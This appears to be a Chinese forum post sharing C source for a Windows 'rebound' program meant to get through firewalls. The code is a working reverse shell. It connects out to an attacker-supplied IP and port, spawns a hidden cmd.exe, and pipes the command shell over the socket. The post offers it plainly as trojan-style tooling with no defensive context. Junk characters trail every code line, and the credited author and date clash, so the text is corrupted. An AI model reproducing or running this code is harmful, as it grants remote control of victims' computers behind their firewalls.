这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E]&N'+T
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/* ============================== :+QNN<
Rebound port in Windows NT .j,xh )v"
By wind,2006/7 fk?!0M6d
===============================*/ X1}M_h%
#include <W3p!
#include 7z, $
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#pragma comment(lib,"wsock32.lib") 91&=UUkK?
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void OutputShell(); ^)Y3V-@t
SOCKET sClient; &Q"vXs6Gt
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Brs}
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void main(int argc,char **argv) 't8!.k
{ k:~UBs\)(
WSADATA stWsaData; /o6ido
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; b0h\l#6
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if(argc != 3) af6<w.i
{ CiHx.5TiC
printf("Useage:\n\rRebound DestIP DestPort\n"); #WG;p(?:
return; 3K~^H1l
} "N&ix*($
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WSAStartup(MAKEWORD(2,2),&stWsaData); b|x B<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GadY#]}(
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stSaiClient.sin_family = AF_INET; <x;g9Z>(
stSaiClient.sin_port = htons(0); jM6$R1HX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F+R1}5-3cl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d!&LpODI]*
{ 0]DX KI
printf("Bind Socket Failed!\n"); LR#.xFQ+
return; zn= pm#L
} ^hEN
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stSaiServer.sin_family = AF_INET; +J| LfXgB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5"U5^6:T
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); / M]P&Zb |
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UBQtD|m\
{ suhnA(T{
printf("Connect Error!"); .':17 $c`H
return; c"`HKfL
} RmKbnS$*q
OutputShell(); ~PF,[$?4n
} dE[X6$H[
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void OutputShell() ^56D)A=
{ 3#udzC
char szBuff[1024]; V5h_uGOD
SECURITY_ATTRIBUTES stSecurityAttributes; e>!]_B1ad
OSVERSIONINFO stOsversionInfo; 5gx;Bp^_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *) \y52z
STARTUPINFO stStartupInfo; 5$Kv%U
char *szShell; x3Fn'+
PROCESS_INFORMATION stProcessInformation; GP^^
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unsigned long lBytesRead; loq2+(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;Cx`RF
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >c:nr&yP
stSecurityAttributes.lpSecurityDescriptor = 0; F!C<^q~!
stSecurityAttributes.bInheritHandle = TRUE; Op9+5]XF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,e`n2)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X&49C:jN
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5 8U[IGs(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PDgZb
stStartupInfo.wShowWindow = SW_HIDE; O6-';H:I]L
stStartupInfo.hStdInput = hReadPipe; 9ucoQ@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $V<fJpA
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GetVersionEx(&stOsversionInfo); yQu/({D
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switch(stOsversionInfo.dwPlatformId) UNrO$aX!1'
{ ph2
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case 1: Vn/FW?d7
szShell = "command.com"; 4uE/!dT
break; >K%+h)%kI
default: 4 l+z
szShell = "cmd.exe"; V%M@zd?u.
break; Iz#jR2:yn
} JGzEm>_m
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); brCL"g|}
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send(sClient,szMsg,77,0); @v/Ae_q!
while(1) 0Y~5|OXJ
{ 1Sns$t%b
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q8e] {sT'!
if(lBytesRead) ?LvxEQ-g
{ TPN1Rnt0`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fE>JoQs38
send(sClient,szBuff,lBytesRead,0); `v/p4/
} H}usL)0&&
else rXGaav9
{ O6q5qA
lBytesRead=recv(sClient,szBuff,1024,0); ?FZ)
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if(lBytesRead<=0) break; VjiwW%UOM
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); { ux'9SA
} v)zxQuH]^
} \/Zo*/
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return; KC<K*UHPAH
}